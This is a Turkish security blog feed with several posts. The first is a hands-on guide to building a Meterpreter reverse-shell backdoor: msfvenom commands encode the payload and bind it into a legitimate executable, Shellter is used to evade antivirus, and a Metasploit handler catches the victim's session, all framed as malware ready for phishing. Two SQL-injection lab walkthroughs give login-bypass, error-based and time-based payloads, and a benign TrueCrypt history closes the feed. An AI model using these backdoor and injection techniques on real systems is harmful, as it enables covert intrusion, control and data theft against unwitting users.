infosec arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me cypm! Tue, 22 Aug 2017 21:41:35 +0000 tr hourly 1 https://wordpress.org/?v=6.0 https://canyoupwn.me/wp-content/uploads/2016/02/cropped-Başlıksız-1-32x32.png infosec arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me 32 32 TR | Backdoor Hazırlanması ve Antivirüs Bypass Edilmesi https://canyoupwn.me/tr-backdoor/ https://canyoupwn.me/tr-backdoor/#comments Thu, 25 Aug 2016 17:14:15 +0000 https://canyoupwn.me/?p=3899 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Backdoor (Arka Kapı) Nedir? Backdoor, hedef sistem üzerinde ki güvenlik önlemlerini atlatarak, hedef sistem üzerinde uzaktan erişim hakkı kazanmayı sağlayan zararlı yazılımlardır. Genellikle hedef sistemde, port açarak veya açık olan portları kullanarak saldırganın, hedef sistem üzerinde erişim hakkı kazanması sağlanır. Backdoor hakkında bilgi sahibi olduğumuza göre Phishing saldırılarının vazgeçilmezi olan zararlı yazılımın/dosyanın nasıl oluşturulabileceğini ve […]

TR | Backdoor Hazırlanması ve Antivirüs Bypass Edilmesi CypmUni PAÜ

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Backdoor (Arka Kapı) Nedir?

Backdoor, hedef sistem üzerinde ki güvenlik önlemlerini atlatarak, hedef sistem üzerinde uzaktan erişim hakkı kazanmayı sağlayan zararlı yazılımlardır. Genellikle hedef sistemde, port açarak veya açık olan portları kullanarak saldırganın, hedef sistem üzerinde erişim hakkı kazanması sağlanır. Backdoor hakkında bilgi sahibi olduğumuza göre Phishing saldırılarının vazgeçilmezi olan zararlı yazılımın/dosyanın nasıl oluşturulabileceğini ve bu zararlı dosyanın, antivirüs ve anti-mallware programları tarafından tespitinin nasıl minimuma indirilebileceğini inceleyebiliriz. Bu yazıda örnek olarak exe formatında zararlı çalışıtırılabilir dosya hazırlayacağız. Hazırlayacağımız exe, kullanıcı programı çalıştırdığında bize kullanıcının bilgisayarına erişmemizi sağlayacak bir meterpreter oturumu sağlayacak. Hatırlamakta fayda var ki exe formatının dışında python, asp, aspx, dll, elf gibi bir çok formatta zararlı dosya oluşturma imkanı vardır. msfvenom –help-formats komutu ile geri kalan formatlarıda görüntülemek mümkündür.

Meterpreter nedir ?

Meterpreter, sıklıkla kullanılan bir metasploit payloadudur. Bir arka kapı olarak çalışır. Yüklenen sistemde, sistem bilgileri, hedef sistemden ve hedef sisteme dosya transferi, hedef sistem komut satırına ulaşım gibi imkanlar sağlar. Meterpreter komutlarından bir kaçına aşağıdaki ekran görüntülerinden ulaşabilirsiniz.

Ekran görüntüsü_2016-08-15_15-04-54

Ekran görüntüsü_2016-08-15_15-04-54

Hızlıca bu işlemleri nasıl yapacağımıza geçelim. İlk olarak içinde sadece meterpreter shell olan bir exe oluşturacağız ve bu halini virustotalde ( Virustotal, ücretsiz, küçük boyutlu yazılımlarının antivürüs programlarınca testlerini yaparak sonuçlarını veren bir servis. https://www.virustotal.com ) taratacağız.
İlk olarak msfvenom kullanarak yapacağız. Msfvenom; metasploit framework ile birlikte gelen zararlı kod oluşturmamıza yardımcı olan bir araçtır.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=443 -f exe -o /root/Desktop/zararli1.exe

-p : Payload
-f : Zararlı dosya formatı
LHOST : Kali IP Adresi (Local IP Adres)
LPORT : Kali Portu. (Zararlının bize ulaşmasını sağlayacak port)

NOT: Her hangi bir linux dağıtımda yada sunucu üzerinde bağlantı sağlanmak istenilen portun açık olduğuna dikkat edilmelidir. Eğer session gelmiyorsa bunun ilk nedenlerinden birisi dinlenilen portun açık olmama ihtimalidir.

Ekran görüntüsü_2016-08-15_15-04-54

Uygulamayı virustotal de taratarak sonuçlarına bakalım.

Ekran görüntüsü_2016-08-15_15-04-54

Görüldüğü gibi neredeyse bütün antivirüs programları tarafından yakalandık. Bu sefer oluşturacağımız zararlıyı encode ederek antivirüslerden kaçmaya çalışacağız.

Ekran görüntüsü_2016-08-15_15-04-54

 

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=443 -f exe -o /root/Desktop/zararli2.exe -k -e x86/shikata_ga_nai -i 10

-e parametresiyle hangi encoderi kullanmasını istediğimiz söylüyoruz ve -i parametresiyle kaç kez encode edileceğini belirtiyoruz.
Yine çıkan exe yi taratarak sonuçlara bakıyoruz.

Ekran görüntüsü_2016-08-15_15-04-54

Yakalandığımız antivirüs programı sayısında bir azalma var ama istediğimiz kadar değil.
Birde bind etme işlemini deneyelim. Bind etmek, hali hazırda var olan bir exe nin içine zararlı kodumuzu yerleştirme olayına denir.
Bunun için iki ayrı yöntem deneyeceğim. Birincisi yukarıdaki örneklerde kullandığımız msfvenom, bir diğeri ise Shellter isimli uygulama.
Msfvenom ile devam edelim. Öncelikle normal bir exe dosyasına ihtiyacımız var, ben tercihen kali linuxta /usr/share/windows-binaries/ içerisinde bulunan plink.exe isimli exe yi kullanacağım. Siz herhangi başka bir uygulamada seçebilirsiniz. Burada seçtiğimiz uygulama bizim için sadece aracı olacak ve biz uygulamanın yanına zararlı kodumuzu koyarak yeni bir exe dosyası oluşturacağız.
Plink.exe isimli dosyanın bir kopyasını masaüstüne setup.exe olarak kaydediyorum. Virustotal.com sitesinden uygulamayı taratıyoruz.

Ekran görüntüsü_2016-08-15_15-04-54

Sonuç olarak herhangi bir antivirüs programının içerisinde virüs bulduğu gözüküyor. Artık ilk halini biliyoruz. Şimdi sıra plink.exe uygulamasının içerisine zararlı kodumuzu yerleştirmeye geldi.

Ekran görüntüsü_2016-08-15_15-04-54

msfvenom -a x86 --platform windows -x setup.exe -k -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=443 -f exe -o zararli3.exe -k -e x86/shikata_ga_nai -i 10

İnternetten indirdiğimiz setup.exe isimli uygulamanın yanına meterpreter shell bind ederek zararli3.exe olarak oluşturduk.

Ekran görüntüsü_2016-08-15_15-04-54

Yakalandığımız antivürs sayısı biraz daha azalmış gözüküyor. Daha farklı encoderlar ve faklı encoderlardan sırayla exe yı geçirerek sayıyı biraz daha azaltmamız mümkün.
Şimdi Shellter adlı uygulama ile bu işlemi deneyeceğiz. Shellter, exe dosyalarının içerisine payload yerleştirebilmemizi sağlayan ücretsiz bir araçtır.
Shellter uygulaması kali de kurulu gelmiyor. Kurmak için :

dpkg --add-architecture i386 && apt-get update && apt-get install wine32 && apt-get install shellter

komutunu yazmamız yeterli olacaktır. Kurulum tamamlandıktan sonra terminale shellter yazarak programı çalıştırabiliriz.

Ekran görüntüsü_2016-08-15_15-04-54

Karşımıza yukarıdaki gibi bir ekran gelecektir. Choose Operation Mode sorusuna A( auto ) cevabını vererek devam ediyoruz.

Ekran görüntüsü_2016-08-15_15-04-54

PE Target sorduğunda temiz halde bulunan exe dosyasının adresini veriyoruz. Shellter bizim için işlemleri otomatik olarak yapacaktır.

Ekran görüntüsü_2016-08-15_15-04-54

Bize hangi payloadı kullanmak istediğimizi soruyor burada 1. seçeneği seçiyorum. Seçerken önce Local payload kullanacağımızı belirtmek için L yazıyoruz ardından 1 yazarak devam ediyoruz.

Ekran görüntüsü_2016-08-15_15-04-54

Daha sonra bizden LHOST ve LPORT girmemizi istiyor buralara kendi ip adresimiz ve kullanmak istediğimiz portu yazıyoruz.

Ekran görüntüsü_2016-08-15_15-04-54

Daha sonra shellter geri kalan işlemleri bizim için hallediyor. Son olarak entera basmamızı istiyor ve zararlı uygulamamız hazır.

Ekran görüntüsü_2016-08-15_15-04-54

setup.exe artık içerisinde zararlı kodlarda barındıran bir uygulama. Karışıklık olmaması için ismini zararli4.exe olarak değiştiriyorum ve ardından hemen virustotalde tarama işlemini başlatıyorum.

Ekran görüntüsü_2016-08-15_15-04-54

Sonucun oldukça tatmin edici olduğunu düşünüyorum. Popüler antivirüslerin hepsinden kaçmayı başardık. İlk haline göre sadece bir tane antivirüs programına yakalandık.
Oldukça başarılı sonuçlanan son uygulamadan sonra bu exe yi nasıl kullanacağımıza sıra geldi. Burada Metasploit Framework’ü kullanacağız. Terminalden msfconsole komutu ile Metasploit Framework’ü çalıştırabiliriz.

Ekran görüntüsü_2016-08-15_15-04-54

use exploit/multi/handler

komutu ile exploitimizi kullanmak için çağırıyoruz.

Ekran görüntüsü_2016-08-15_15-04-54

Daha sonra set PAYLOAD windows/meterpreter/reverse_tcp komutunu yazarak meterpreter payloadını exploite dahil ediyoruz.

Ekran görüntüsü_2016-08-15_15-04-54

show options komutuyla exploite vermemiz gereken bilgileri görüyoruz. Burada ip adresimizi ve exeyi oluştururken verdiğimiz port adresimizi yazacağız.
set LHOST 192.168.56.101
set LPORT 443
Daha sonra exploit diyerek programdan gelecek istekleri dinlemeye başlayacağız.

Ekran görüntüsü_2016-08-15_15-04-54

Dinlemeye başarılı bir şekilde başladık. Artık hedef kişinin programı çalıştırmasını bekliyoruz. Çalıştırdığı anda buraya bilgileri gelecek ve o bilgisayarda erişim sahibi olacağız.

Ekran görüntüsü_2016-08-15_15-04-54

Windows bilgisayardan (hedef), bizim oluşturduğumuz exe çalıştığı anda meterpreter oturumuna sahip oluyoruz.

Ekran görüntüsü_2016-08-15_15-04-54

Yazının başında paylaştığım görsellerdeki meterpreter komutlarını artık hedef sistem zerinde çalıştırabiliriz. Hatta hedefin kullandığı işletim sisteminin hak yükseltme exploitini kullanarak tüm yetkilere sahip olan bir kullanıcı kaydedebilir, istediğimiz zaman o sisteme bağlanabiliriz.

Ekran görüntüsü_2016-08-15_15-04-54

Sonuna kadar okuduğunuz için teşekkür ederiz. Paü siber ..

TR | Backdoor Hazırlanması ve Antivirüs Bypass Edilmesi CypmUni PAÜ

]]>
https://canyoupwn.me/tr-backdoor/feed/ 7
TR | Sql-i Labs Walkthrough Series 10-15 https://canyoupwn.me/sql-i-labs-walkthrough-series-10-15/ https://canyoupwn.me/sql-i-labs-walkthrough-series-10-15/#respond Fri, 24 Jun 2016 07:29:28 +0000 https://canyoupwn.me/?p=2988 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

SQL-i Labs 10-15 Merhaba arkadaşlar , bu yazı dizimizde 10-15. alıştırmaları göreceğiz. Bizim için işler artık biraz zorlaşıcak gibi o yüzden kahvelerinizi eksik etmeyin 🙂 Uyarı : Burada yapılan çoğu uygulama belki gerçek hayatta karşınıza bu şekilde kabak(başka hangi kelime ile bu kadar güzel ifade edilir ) gibi çıkmayacaktır.Alıştırmalar tamamen experience ( deneyim ) kazanma […]

TR | Sql-i Labs Walkthrough Series 10-15 Enes ERGÜN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

SQL-i Labs 10-15

Merhaba arkadaşlar , bu yazı dizimizde 10-15. alıştırmaları göreceğiz.

Bizim için işler artık biraz zorlaşıcak gibi o yüzden kahvelerinizi eksik etmeyin 🙂

Uyarı : Burada yapılan çoğu uygulama belki gerçek hayatta karşınıza bu şekilde kabak(başka hangi kelime ile bu kadar güzel ifade edilir ) gibi çıkmayacaktır.Alıştırmalar tamamen experience ( deneyim ) kazanma üzerine kuruludur.

Önce ki yazılara ulaşmak için :

TR | SQL-i Labs Walkthrough Basic 0-5

TR | SQL-i Labs Series Walkthrough Basic 6-10

Öncelikle şunu da söylemek istiyorum.Yine bir önceki yazılarımızda olduğu gibi sadece bypass yöntemlerini göstereceğiz ve diğer levele geçeceğiz.Siz isterseniz bütün tabloları çekmeye çalışabilirsiniz.Takdir edersiniz ki bütün levellerde bunu yaparsak bizden önce yazıyı okurken siz sıkılırsınız 🙂

Anlaştıysak başlayalım.

Level 11 :

Daha önceki levellerimize bakarak burada karşımıza bir login ekranı çıkıyor.Burada bizim bir şekilde buraya login olmamız gerekiyor.Bu konuda bizim en basit payload’ımız neydi ?

"or 1=1 ---+

Bi deneyelim hmmm işe yaramadı sanırım.Neyse biz sadece username kısmına tek tırnak çift tırnak atarak hata verdirmesini sağlayalım.Tek tırnak attığınızda aşağıda ki hatayı alacaksınız.
resim1

O zaman bizde payload’ımızı tek tırnak ile deneyelim.

' or 1=1 --+

Bu şekilde girdiğinizde uygulamaya bir şekilde login olduk.Olma sebebimize gelirsek eğer

1=1 eşitliği her zaman True döndüreceğinden dolayı bizi sisteme dahil etti.

Yani şöyle düşünün oraya gerçek bir username password yazsaydık ve bu doğru olsaydı şu şekilde bir operatör ile doğruluğu kontrol edilecekti.

eğer username=cypm and password=123456 == True
yazdır 'Giriş başarılı.'
değilse
yazdır ' Giriş başarılı değil.'

resim2

Level 12:

Bu levelimizde ismine bakarsak aslında 11.level ile aynı tek farkı çift tırnak koymamız olacak fakat bunu aşağıda ki şekilde denediğimizde başarılı bir şekilde login olamıyoruz.

 " or 1=1 --+

Bu kısımda tamamen doğaçlama yaparak sql sorgusunun hata verebilmesi için

'"  (Tek tırnak + Çift Tırnak )

payloadını kullanarak hata verdirdim.
resim3
Ve orada gördüm ki parantez işaretleri bulunuyor.Yani bu demek oluyor ki kapatmamız gereken bir parantezimiz var.( Şuan belkide alıştırma dışına çıkmış bile olabiliriz )Hemen aşağıda ki payload’ı girdim.

")or 1=1 #

Ve okus pokus septimus severus ( kendisi roma imparatorudur bu arada )
resim4

Level 13 :

Geldik Double injection olan kısıma normal bir insan olsak burada kurallara , yönergelere uyarak çift sorgu ile bir şekilde bu leveli bypass edip geçmeyi düşünürdük.Değil mi ?

Ama biz normal miyiz ? Duyamadım ? Evet değiliz.

O yüzden double injection niye yazalım ki ?

Hemen yine sql sorgumuza error verdirtelim.
resim5
Gördüğünüz gibi buradada bir parantez var ve bunu kapatmalıyız.Bu arada hatayı

"'

ile verdirttim.

Hemen payloadımızı girelim ve sonuca arkamıza yaslanarak bakalım.

')or 1=1 #

resim6

Yaşasın HackerMind!

Level 14 :

Bu level de de double injection isteniyor fakat ben yine niye uğraşayım ki double injection ile ?

Tabi enes durur mu yapıştırmış payload’ı

"or 1=1 #

resim7

Level 15:

Bu levelimizde Boolian based yani Bool ifade ile giriş yapmamız isteniyor.Nedir bool ifade ?
Türkçe olarak düşündüğümüzde Doğru ve Yanlış.

Yabancılarda ise True ve False şeklinde.

Detaylı açıklama için : https://tr.wikipedia.org/wiki/Boole%27ca

Yani burada yapmamız gereken aslında level 11 de ki gibi

giriceğimiz bir ifadenin bize True döndürmesi gerekiyor.O yüzden bizim en basit true döndüren payloadımız nedir ?
1 = 1’dir.

O zaman payloadımızı yazalım.

" or 1=1 #

Veeeee aman Allah’ım o da ne ? Login olamadık.

resim8

Demek ki neymiş ? Ezbere gitmeyecekmişiz mantığını öğrenecekmişiz.Birde bana güvenmeyecekmişsiniz 🙂

Burada ki payload’ımız yukarıda ki payload değil aşağıdakidir.

' or 1=1 #

resim9

Not:Ne sizin ne de benim yazıyı okurken/yazarken sıkılmamanız için karşılıklı dialog şeklinde ve biraz laubali şekilde yazmış olabilirim.Eğer bu konu hakkında eleştiriniz vs. var ise yorum atabilir veya mail gönderebilirsiniz.

Bir daha ki yazımızda görüşmek üzere.

TR | Sql-i Labs Walkthrough Series 10-15 Enes ERGÜN

]]>
https://canyoupwn.me/sql-i-labs-walkthrough-series-10-15/feed/ 0
TR | SQL-i Labs Series Walkthrough Basic 6-10 https://canyoupwn.me/sql-i-labs-walkthrough-basic-6-10/ https://canyoupwn.me/sql-i-labs-walkthrough-basic-6-10/#respond Wed, 08 Jun 2016 20:16:36 +0000 https://canyoupwn.me/?p=2594 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Merhabalar daha önce 0-5 level arasını şurada ki linkte paylaşmıştık. TR | SQL-i Labs Walkthrough Basic 0-5 Bugün ise bir seri şeklinde 6-10 level arasını birlikte çözeceğiz. Level 6 : Bu levelimiz aslında level 5 ile aynı tek farkı ” ‘ ” kullanmak yerine ” ” ” kullanmamız. Level 5 için : https://canyoupwn.me/sql-i-labs-walkthrough-basic-0-5 1"+and(select 1 […]

TR | SQL-i Labs Series Walkthrough Basic 6-10 Enes ERGÜN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Merhabalar daha önce 0-5 level arasını şurada ki linkte paylaşmıştık.

TR | SQL-i Labs Walkthrough Basic 0-5

Bugün ise bir seri şeklinde 6-10 level arasını birlikte çözeceğiz.
Level 6 :

Bu levelimiz aslında level 5 ile aynı tek farkı ” ‘ ” kullanmak yerine ” ” ” kullanmamız.

Level 5 için : https://canyoupwn.me/sql-i-labs-walkthrough-basic-0-5

1"+and(select 1 FROM(select count(*),concat((select (select concat(database())) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) --+

resim1
Level 7 :
Bu levelde bizden sorgularımızı biz dosyaya aktarmamızı istiyor.Aslında buna mecbur bırakıyor yoksa biz tabi ki basit yolu seçmeyi isteriz.
Burada ki payloadımızda ilk baş bi tek tırnak ile deneme yapalım isterseniz.Biz tek tırnak attığımızda hata vericektir.Doğru bir yolda gidiyor gibi duruyoruz.

select * into dumpfile "hebelehubele.sql"

Bizde şu sorguyu gerçekleştiriyoruz.

1'union select 1,2,3 into dumpfile "hebelehubele.txt"

resim2

Yukarıda ki sorguyu kullandığımızda bize hiç bir çıktı vermediğini görüyoruz.Demek ki bi yerlerde hata yapıyoruz.Evet hatanın sebebini buldum fakat bunu deneme yanılma yöntemiyle değil hileye başvurarak buldum.
Nedir bu hile ? : Kaynak kodlarına bakmak.Gerçekte böyle bir senaryo ile karşılaştığınızda bu imkanınız elinizde bulunamayabilir.

Burada sitenin sorgusunun içinden aşağıda ki şekilde çıkmamız gerekiyor.

1')) sorgunuz

Bu şekilde sorgu içinden çıktıktan sonra artık sorgu sonucunu bir dosyaya yazdırabiliriz.

1'))union select 1,2,3  into dumpfile "/tmp/mirkelam.txt"--+

resim3

Level 8 :

İlk önce tek tırnak atalım.Gördüğünüz gibi you are in yazısı kayboldu.

resim4

Şimdi burada amacımız burada sql injection olduğunu kanıtlamak.Bunun içinde sorgu denemeleri yapıcaz ve sorguyu kontrol edebiliyor muyuz ? Bunu kontrol edicez.

1'and 1=1 --+

resim5

Yaptığımızda bize yine you are in yazısını göstericek.Belki kod da bi yanlışık vardır sorguyu yine kontrol edebiliyor muyuz deneyelim.

1'and 1=2 --+

Yukarıda ki payload’ı girdiğimizde you are in yazısı yine kayboldu demek ki neymiş biz sorguyu kontrol edebiliyormuşuz.
resim6

Level 9 :

.

Level 8 e benzer bir yapısı var bu levelinde tek farkla level 8 de 199 gibi id ler girdiğimizde bize hiç bir text dönmüyordu.Fakat level 9 da bu şekilde değil.

?id=500000

yazarsanız hala aynı şekilde durduğunu göreceksiniz.

Burada yine körlemesine dalıyoruz ve şu payloadı yazıyoruz.

?id=1'and sleep(10) --+

Bu payload ı yazıp enterladığınızda sayfa 10 saniye kadar ( fazlada olabilir emin olamadım şimdi 🙂 ) beklemeye geçicek bu da ne demektir ? Burada sql injection var demektir.

resim7

Level 10 :
Bu levelimiz level 9 ile aynıdır.Tek fark ” ‘ ” yerine ” “(çift tırnak) ” kullanıyor oluşumuz.

Payloadımız

1"and sleep(10) --+

resim8

TR | SQL-i Labs Series Walkthrough Basic 6-10 Enes ERGÜN

]]>
https://canyoupwn.me/sql-i-labs-walkthrough-basic-6-10/feed/ 0
TR | Truecrypt https://canyoupwn.me/tr-how-to-install-and-use-truecrypt/ https://canyoupwn.me/tr-how-to-install-and-use-truecrypt/#respond Mon, 23 May 2016 23:28:59 +0000 https://canyoupwn.me/?p=2455 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

TrueCrypt Tanım:Açık kaynak kodlu olarak geliştirilen ücretsiz bir kriptolama yazılımıdır. Amaç:Tarihte ilk zamanlardan itibaren bilgi insan hayatında en önemli yerini almıştır.İnsanoğlu yaşamını devam ettirmek ve kolay bir hale getirmek için sürekli düşünerek,sorgulayarak bilgi elde etmeye çalışmıştr.Zamanla elde edilen bu bilgiler geliştirilerek günümüzde kullanılan teknolojilerin ortaya çıkmasına sebep olmuştur. Çağımızda ise bilgi güvenliği büyük bir önem […]

TR | Truecrypt Murat TORAMAN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

1

TrueCrypt

Tanım:Açık kaynak kodlu olarak geliştirilen ücretsiz bir kriptolama yazılımıdır.

Amaç:Tarihte ilk zamanlardan itibaren bilgi insan hayatında en önemli yerini almıştır.İnsanoğlu yaşamını devam ettirmek ve kolay bir hale getirmek için sürekli düşünerek,sorgulayarak bilgi elde etmeye çalışmıştr.Zamanla elde edilen bu bilgiler geliştirilerek günümüzde kullanılan teknolojilerin ortaya çıkmasına sebep olmuştur.
Çağımızda ise bilgi güvenliği büyük bir önem kazanmıştır.Bilginin kötüye kullanılmasını önlemek amacıyla bu alanda yeni teknoloji arayışlarına girilmiştir.Bilgilerin depolanması,bunların iletilmesi gibi alanlarda güvenlik artık önemli bir gereksinim haline gelmiştir.Bu alanlardan bilgilerin depolanması konusunda karşımıza birçok yazılım çıkmaktadır.Bunlardan biri ise TrueCrypt yazılımıdır.TrueCrypt  verilerinizi saklamak,kriptolamak için geliştirilmiş bir yazılımdır.Verilerinizi depoladığınız depolama cihazınızın tamamını ya da belirttiğiniz bir bölümünü çeşitli algoritmalar(mantık,yöntemler) kullanarak şifreli bir hale dönüştürebilmektedir.

Tarihçe:TrueCrypt 1.0 versiyonu ile 2004 yılı Şubat ayında piyasaya sürülmüştür.Piyasaya sürüldükten sonra zaman içerisinde geliştirilmeye devam edilmiştir.Ve en son versiyon olarak 7.2 versiyonu bilinmektedir.

A)Versiyon Çıkış Tarihleri Ve Bazı Önemli Değişiklikler:

-Versiyon 1.0 2 Şubat 2004’te yayımlandı.Windows 98,ME,2000 ve XP sistemleri desteklediği öne sürüldü.
-Versiyon 1.0a 3 Şubat 2004’te Windows 98 ve ME sistemlerden desteğini çekti.
-Versiyon 2.0 7 Haziran 2004 AES şifreleme algoritması eklendi.
-Versiyon 2.1 21 Haziran 2004 RİPEMD-160 hash algoritması eklendi,NTFS birimleri oluşturma yeteneği eklendi,bir birim boyutu limiti 2048 GB ‘a kadar geliştirildi.
-Versiyon 2.1a 1 Ekim 2004 IDEA şifreleme algoritması kaldırıldı,Sourgeforge.net resmi TrueCrypt alan adı sahibi oldu fakat Mayıs 2005’te tekrar truecrypt.org sitesine taşındı,Sourgeforce web sitesi buraya yönlendirmeye başladı.
-Versiyon 3.0 10 Aralık 2004 Serpent ve Twofish algoritmaları eklendi.
-Versiyon 3.1 22 Ocak 2005 çeşitli iyileştirmeler ve hata düzeltmeleri yapıldı.
-Versiyon 4.0 1 Kasım 2005 Önemli sayılabilecek bir olay olan Linux x86-x64 sistemlerine destek getirildi,Whirlpool hash algoritması eklendi,ve dil paketleri desteği getirildi.
-Versiyon 4.1 25 Kasım 2005 On-the-fly depolama şifrelemesi için CBC modunda daha güvenli olan LRW modu eklendi.(LRW:Liskov-Rivest-Wagner)
-Versiyon 4.2 17 Nisan 2006 Linux ve Windows sistemler için çeşitli geliştirmeler yapıldı.
-Versiyon 4.3 19 Mart 2007 Windows Vista desteği getirildi.
-Versiyon 5.0 5 Şubat 2008 Mac OS X desteği getirildi,Linux ve Windows sistemler için çeşitli geliştirmeler ve düzenlemeler yayınlandı.
-Versiyon 5.1 10 Mart 2008 Windows sistemlerde hazırda bekleme desteği eklendi ve sistem bölümlerini şifreleme yeteneği eklendi,Mac OS X ve Linux sistemlerde yeni bölümler için komut satırı ayarları eklendi,AES şifreleme performansı geliştirildi.
-Versiyon 6.0 4 Temmuz 2008 Deniable şifreleme desteği getirildi,Çoklu işlemci sistemleri ve çok çekirdekli sistemler için geliştirmeler yapıldı,Mac OS X ve Linux sistemlerde gizli birimleri oluşturma ve şifreleme desteği getirildi.
-Versiyon 6.0a 8 Temmuz 2008 Uygun olmayan yonga setleri yüklü olan sistemlerde sistem bölümü/sürücüsü şifrelemek istersek hatalarla karşılaşılıyordu ve bunun tespiti yapıldı,Diğer bazı hatalar onarıldı.
-Versiyon 6.1 31 Ekim 2008 Windows Vista için geliştirmeler yapıldı,Windows 2008 desteği eklendi,Önyükleyici özelleştirilebilir hale getirildi,Linux ve  Mac OS X sistemlere şifreli Windows sürücülerini çıkartma desteği eklendi.
Versiyon 6.1a 1 Aralık 2008 Bazı hata düzeltmeleri ve iyileştirmeler yapıldı,Güvenlik geliştirmeleri eklendi.
Versiyon 6.2 11 Mayıs 2009 Windows sistemlerde geliştirmeler yapıldı.
Versiyon 6.2a 15 Haziran 2009 Bazı iyileştirmeler ve hata onarımları sağlandı.
Versiyon 6.3 21 Ekim 2009 Windows 7 ve Mac OS X 10.6 SnowLeopard desteği getirildi.
Versiyon 6.3a 23 Kasım 2009 Belirtilmeyen küçük bazlı iyileştirmeler ve hata düzeltmeleri yapıldı.
Versiyon 7.0 19 Temmuz 2010 AES kısmı hızlandırıldı.
Versiyon 7.1 1 Eylül 2011 Mac OS X 10.7 Lion 64-bit ve 32-bit sistemler ile tam uyumluluk sağlandı,İyileştirmeler ve hata onarımları sağlandı.
Versiyon 7.1a 7 Şubat 2012 Windows,Mac OS X,Linux sistemler için iyileştirmeler ve hata düzeltmeleri yapıldı.
Versiyon 7.2 28 Mayıs 2014 Program özellikleri sadeleştirildi ve kısırlaştırıldı.Ve tüm işletim sistemlerinden destek çekildi.Program geliştirmeleri durduruldu.

B)Sonlandırılma Senaryoları:
Kurumsal ve bireysel olarak popüler bir şekilde kullanım alanı olan TrueCrypt yazılımının ömrünün sonlanmasıda bir o kadar popüler ve kafa karıştırıcı olmuştur.
Son versiyonlarındaki güvenlik açıkları sorunlarını güncellemelerle çözen geliştirici ekibi 2014 Mayıs ayında geliştirmeyi ve güncellemeleri durduklarını ilan etmiştir.Ayrıca Google Project Zero mühendislerinden James Forshow twitter üzerinden açıkladığı bildiride iki farklı güvenlik açığı bulduğunu bildirmiştir.
Microsoft XP’ye desteğini durdurmasının ardından 2014 Mayıs ayında TrueCrypt sitesinde bir bildirim yayınlayarak desteğini sonlandırdığını duyurmuştur.
Bu konu hakkında çeşitli spekülatif senaryolar üretilmeye başlanmıştır.Çok popüler olan şifreleme yazılımı yaptığı güvenlik testlerini başarıyla geçtiğini duyurmasından sonra olay yaratan bir açıklamayla desteği sonlandırması gerçekten de akıllarda soru işareti bıraktı.
Amerika Birleşik Devleti’nin kriptoloji konusunda uzman olan istihbarat teşkilatı NSA istihbarat toplama noktasında birçok yazılım ve donanıma müdahele ettiği bilinmektedir.TrueCrypt’in bu açıklamasından sonra NSA’e backdoor sağladığı düşünceleri konuşulmaya başlanmıştır.
Açık kaynak kodlu bir yazılım olan TrueCrypt yazılımcıların ve analistlerin testlerine zaten dahil olmaktaydı.Kaynak kodları incelendiğinde backdoor bulunmadığı belirtilmiştir.Fakat yazılımların açık kaynak kodlu olması herhangi bir backdoor bulundurmayacağını garanti edemez.Açıklanan bildiride TrueCrypt artık yazılımın güvenli olmadığını ve kullanıcıların Bitlocker yazılımını kullanması gerektiğini önermektedir.
Herhangi bir güvenlik konusunda Microsoft’un devletlerle işbirliği yaptığı bilinmektedir.Bu açıklamadan sonra bir grup analistin fikri de TrueCrypt’in NSA’e backdoor sağlamadığı için baskılarla karşılaştığını ve sonlandırılmaya yönlendirildikleri fikri ortaya atılmıştır.Ayrıca işin ticari yönüde görmezden gelinmemelidir.Ücretli olan kapalı kaynaklı yazılımlar tercih edilmesi içinde bir baskı oluşturulmuş olabilir.
Bu senaryolara rağmen TrueCrypt sonlanma hikayesi net olarak bilinmemektedir.
Edward Snowden’den Cory Doctorow’a kadar alanın pek çok ünlü isminin de gözdesi olan TrueCrypt böylece 2014’ün Mayıs ayında ömrünü tamamlamıştır.

Şimdi TrueCrypt yazılımının başlıca özelliklerini belirttikten sonra kurulum ve kullanım aşamasına geçelim.

TrueCrypt Başlıca Özellikler:

-Tasarımda kullanılan programlama dilleri:C,C++,Assembly’dir.
-Yazılımın kullandığı kriptolama algoritmaları şunlardır;

  • AES
  • SERPENT
  • TRIPLE DES
  • TWOFISH
  • AES-TWOFISH
  • AES-TWOFISH-SERPENT
  • SERPENT-AES
  • SERPENT-TWOFISH-AES
  • TWOFISH-SERPENT

-On-the-fly kriptolama yöntemini kullanmaktadır.Yani kriptolama otomatik,gerçek zamanlı ve hızlıdır.Kriptolama sonrasında kriptolanan sürücü veya container hemen kullanılabilir.Kriptolanmış containerda veri transferinde bir aksaklık yaşanmaz yani işlemler hızlı bir şekilde gerçekleştirilebilir.
-Yazılım kriptolanmış bir sanal disk oluşturur ve onu gerçek fiziksel bir diskmiş gibi sisteme entegre edebilir.
-Flash disk ya da hard disk gibi bütün bir bölümü ya da depolama aygıtını kriptolayabilir.
-Bazı işlemciler “Hardware-Accelerated”(Donanım Hızlandırma) AES kriptografisini desteklemektedir.Özellikle modern işlemcilerin desteklediği bu özellik ile normalden 4 veya 8 kat hızlı kriptolama işlemi yapılabilmektedir.
-Kullandığı AES,SERPENT,TWOFISH kriptolama algoritmalarının 2’li ve 3’lü kombinasyonları ile kriptolama yapabilmekte ve bu sayede güvenliği arttırmaktadır.
-Header ve footer bilgilerini içerisinde barındırmaz.Bu yüzden kriptolanan containerın hangi algoritma ile kriptolandığı bilinmemektedir.Ayrıca oluşturulan container TrueCrypt dosyası olup olmadığı dahi bilinemeyebilir.
